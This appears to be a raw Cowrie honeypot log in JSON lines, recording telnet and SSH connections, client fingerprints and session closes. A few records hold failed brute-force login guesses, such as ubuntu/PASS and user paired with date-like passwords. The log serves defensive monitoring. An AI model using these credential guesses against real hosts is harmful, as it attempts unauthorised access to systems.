{"eventid":"cowrie.session.closed","duration":31.741470336914062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:24.835902Z","src_ip":"69.6.249.0","session":"232280990d2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51058,"dst_ip":"159.203.135.109","dst_port":23,"session":"86e9a824d56e","protocol":"telnet","message":"New connection: 69.6.249.0:51058 (159.203.135.109:23) [session: 86e9a824d56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:24.990580Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51072,"dst_ip":"159.203.135.109","dst_port":23,"session":"6adc0ad109b3","protocol":"telnet","message":"New connection: 69.6.249.0:51072 (159.203.135.109:23) [session: 6adc0ad109b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:25.654689Z"}
{"eventid":"cowrie.session.closed","duration":30.794833183288574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:25.972829Z","src_ip":"69.6.249.0","session":"6a28c9bdcfa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51082,"dst_ip":"159.203.135.109","dst_port":23,"session":"98c4da9cdf59","protocol":"telnet","message":"New connection: 69.6.249.0:51082 (159.203.135.109:23) [session: 98c4da9cdf59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:26.122799Z"}
{"eventid":"cowrie.session.closed","duration":31.504633903503418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:26.229444Z","src_ip":"69.6.249.0","session":"0ab096d7ba18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.882301807403564,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:27.587465Z","src_ip":"69.6.249.0","session":"fdf0cba230fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.36202597618103,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:28.681798Z","src_ip":"69.6.249.0","session":"43e0f913bfca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51090,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ee81e37ec45","protocol":"telnet","message":"New connection: 69.6.249.0:51090 (159.203.135.109:23) [session: 3ee81e37ec45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:28.769501Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51098,"dst_ip":"159.203.135.109","dst_port":23,"session":"afb93fa9c73d","protocol":"telnet","message":"New connection: 69.6.249.0:51098 (159.203.135.109:23) [session: afb93fa9c73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:28.986174Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51114,"dst_ip":"159.203.135.109","dst_port":23,"session":"e30ec896038c","protocol":"telnet","message":"New connection: 69.6.249.0:51114 (159.203.135.109:23) [session: e30ec896038c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:30.659821Z"}
{"eventid":"cowrie.session.closed","duration":35.99800968170166,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:31.489381Z","src_ip":"69.6.249.0","session":"480d4b348b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51130,"dst_ip":"159.203.135.109","dst_port":23,"session":"64728ba6b756","protocol":"telnet","message":"New connection: 69.6.249.0:51130 (159.203.135.109:23) [session: 64728ba6b756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:32.992636Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":52378,"dst_ip":"159.203.135.109","dst_port":22,"session":"03482974f734","protocol":"ssh","message":"New connection: 163.7.6.74:52378 (159.203.135.109:22) [session: 03482974f734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:35.800363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:35.805150Z","src_ip":"163.7.6.74","session":"03482974f734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:36.059850Z","src_ip":"163.7.6.74","session":"03482974f734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PASS","message":"login attempt [ubuntu/PASS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:37.109310Z","src_ip":"163.7.6.74","session":"03482974f734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.154072523117065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:37.286206Z","src_ip":"69.6.249.0","session":"a176fc67dcdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.367374420166016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:37.314144Z","src_ip":"69.6.249.0","session":"1d1ac2ec67c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:38.369086Z","src_ip":"163.7.6.74","session":"03482974f734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.906904697418213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:38.488533Z","src_ip":"69.6.249.0","session":"6bbf1c3ad0c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":35257,"dst_ip":"10.17.0.5","dst_port":23,"session":"c30216ac90dc","protocol":"telnet","message":"New connection: 212.55.149.117:35257 (10.17.0.5:23) [session: c30216ac90dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:39.864198Z"}
{"eventid":"cowrie.session.closed","duration":32.4377658367157,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:42.085351Z","src_ip":"69.6.249.0","session":"e1f9dc63d09d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.04604172706604,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:43.310847Z","src_ip":"69.6.249.0","session":"9707c485ae16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58584,"dst_ip":"159.203.135.109","dst_port":23,"session":"2229a396b774","protocol":"telnet","message":"New connection: 69.6.249.0:58584 (159.203.135.109:23) [session: 2229a396b774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:44.651485Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58586,"dst_ip":"159.203.135.109","dst_port":23,"session":"b60f15b76d01","protocol":"telnet","message":"New connection: 69.6.249.0:58586 (159.203.135.109:23) [session: b60f15b76d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:48.002014Z"}
{"eventid":"cowrie.session.closed","duration":31.753931045532227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:48.350449Z","src_ip":"69.6.249.0","session":"353279374261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37785005569458,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:48.614806Z","src_ip":"69.6.249.0","session":"7f29d6d1ac60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58592,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec1eb4841259","protocol":"telnet","message":"New connection: 69.6.249.0:58592 (159.203.135.109:23) [session: ec1eb4841259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:50.310015Z"}
{"eventid":"cowrie.session.closed","duration":32.31965255737305,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:51.066316Z","src_ip":"69.6.249.0","session":"debb7211872e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58606,"dst_ip":"159.203.135.109","dst_port":23,"session":"645a96d0f7b6","protocol":"telnet","message":"New connection: 69.6.249.0:58606 (159.203.135.109:23) [session: 645a96d0f7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:51.530243Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58608,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3a460f4f714","protocol":"telnet","message":"New connection: 69.6.249.0:58608 (159.203.135.109:23) [session: c3a460f4f714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:51.929475Z"}
{"eventid":"cowrie.session.closed","duration":32.715004444122314,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:53.773926Z","src_ip":"69.6.249.0","session":"d1473ac16e3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":49978,"dst_ip":"159.203.135.109","dst_port":23,"session":"4557f01cbe6f","protocol":"telnet","message":"New connection: 69.6.249.0:49978 (159.203.135.109:23) [session: 4557f01cbe6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:54.854089Z"}
{"eventid":"cowrie.session.closed","duration":31.176974058151245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:56.831507Z","src_ip":"69.6.249.0","session":"6adc0ad109b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08043098449707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:57.203122Z","src_ip":"69.6.249.0","session":"98c4da9cdf59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81799244880676,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:57.808419Z","src_ip":"69.6.249.0","session":"86e9a824d56e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":49990,"dst_ip":"159.203.135.109","dst_port":23,"session":"38fa6087bd45","protocol":"telnet","message":"New connection: 69.6.249.0:49990 (159.203.135.109:23) [session: 38fa6087bd45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:59.524514Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":50002,"dst_ip":"159.203.135.109","dst_port":23,"session":"94f8d8834bc8","protocol":"telnet","message":"New connection: 69.6.249.0:50002 (159.203.135.109:23) [session: 94f8d8834bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:00.209964Z"}
{"eventid":"cowrie.session.closed","duration":31.324278354644775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:00.310296Z","src_ip":"69.6.249.0","session":"afb93fa9c73d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":50006,"dst_ip":"159.203.135.109","dst_port":23,"session":"3caade5163b0","protocol":"telnet","message":"New connection: 69.6.249.0:50006 (159.203.135.109:23) [session: 3caade5163b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:01.027124Z"}
{"eventid":"cowrie.session.closed","duration":32.43868327140808,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:01.208057Z","src_ip":"69.6.249.0","session":"3ee81e37ec45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54370450973511,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:03.203301Z","src_ip":"69.6.249.0","session":"e30ec896038c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18152689933777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:04.174030Z","src_ip":"69.6.249.0","session":"64728ba6b756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38524,"dst_ip":"159.203.135.109","dst_port":23,"session":"305b13d9c806","protocol":"telnet","message":"New connection: 69.6.249.0:38524 (159.203.135.109:23) [session: 305b13d9c806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:12.672598Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47636,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0d90e586c21","protocol":"telnet","message":"New connection: 69.6.249.0:47636 (159.203.135.109:23) [session: f0d90e586c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:16.323721Z"}
{"eventid":"cowrie.session.closed","duration":32.06707525253296,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:16.718435Z","src_ip":"69.6.249.0","session":"2229a396b774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47646,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c8da9522df7","protocol":"telnet","message":"New connection: 69.6.249.0:47646 (159.203.135.109:23) [session: 6c8da9522df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:18.479118Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47658,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ca8e7880bd2","protocol":"telnet","message":"New connection: 69.6.249.0:47658 (159.203.135.109:23) [session: 0ca8e7880bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:18.494421Z"}
{"eventid":"cowrie.session.closed","duration":31.163737773895264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:19.165623Z","src_ip":"69.6.249.0","session":"b60f15b76d01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47660,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5e467eb6601","protocol":"telnet","message":"New connection: 69.6.249.0:47660 (159.203.135.109:23) [session: c5e467eb6601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:19.733627Z"}
{"eventid":"cowrie.session.closed","duration":30.573089361190796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:20.882961Z","src_ip":"69.6.249.0","session":"ec1eb4841259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161962032318115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:22.692076Z","src_ip":"69.6.249.0","session":"645a96d0f7b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906145095825195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:22.835504Z","src_ip":"69.6.249.0","session":"c3a460f4f714","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47664,"dst_ip":"159.203.135.109","dst_port":23,"session":"8df6c16c00ff","protocol":"telnet","message":"New connection: 69.6.249.0:47664 (159.203.135.109:23) [session: 8df6c16c00ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:23.248921Z"}
{"eventid":"cowrie.session.closed","duration":32.95989203453064,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:27.813875Z","src_ip":"69.6.249.0","session":"4557f01cbe6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36426,"dst_ip":"159.203.135.109","dst_port":23,"session":"f920d22f8528","protocol":"telnet","message":"New connection: 69.6.249.0:36426 (159.203.135.109:23) [session: f920d22f8528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:28.129661Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36440,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea3f3e4de46b","protocol":"telnet","message":"New connection: 69.6.249.0:36440 (159.203.135.109:23) [session: ea3f3e4de46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:28.285906Z"}
{"eventid":"cowrie.session.closed","duration":31.158884286880493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:31.368508Z","src_ip":"69.6.249.0","session":"94f8d8834bc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09207034111023,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:31.616478Z","src_ip":"69.6.249.0","session":"38fa6087bd45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":24062,"dst_ip":"159.203.135.109","dst_port":22,"session":"126e50daac97","protocol":"ssh","message":"New connection: 2.57.121.25:24062 (159.203.135.109:22) [session: 126e50daac97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:31.717524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:31.722593Z","src_ip":"2.57.121.25","session":"126e50daac97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:31.822148Z","src_ip":"2.57.121.25","session":"126e50daac97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.83511519432068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:31.862127Z","src_ip":"69.6.249.0","session":"3caade5163b0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"16101990","message":"login attempt [user/16101990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:32.294039Z","src_ip":"2.57.121.25","session":"126e50daac97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36450,"dst_ip":"159.203.135.109","dst_port":23,"session":"84207bc79bb1","protocol":"telnet","message":"New connection: 69.6.249.0:36450 (159.203.135.109:23) [session: 84207bc79bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:32.559602Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36456,"dst_ip":"159.203.135.109","dst_port":23,"session":"646d319361e2","protocol":"telnet","message":"New connection: 69.6.249.0:36456 (159.203.135.109:23) [session: 646d319361e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:32.593006Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"160883","message":"login attempt [user/160883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:33.396099Z","src_ip":"2.57.121.25","session":"126e50daac97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16071996","message":"login attempt [user/16071996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:34.499026Z","src_ip":"2.57.121.25","session":"126e50daac97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"160589","message":"login attempt [user/160589] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:35.602398Z","src_ip":"2.57.121.25","session":"126e50daac97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42020,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c6437cb71a2","protocol":"telnet","message":"New connection: 69.6.249.0:42020 (159.203.135.109:23) [session: 8c6437cb71a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:36.292486Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"16051995","message":"login attempt [user/16051995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:36.704219Z","src_ip":"2.57.121.25","session":"126e50daac97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:37.807087Z","src_ip":"2.57.121.25","session":"126e50daac97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":41406,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5901d7bf4da","protocol":"ssh","message":"New connection: 163.7.6.74:41406 (159.203.135.109:22) [session: d5901d7bf4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:38:38.005118Z"}
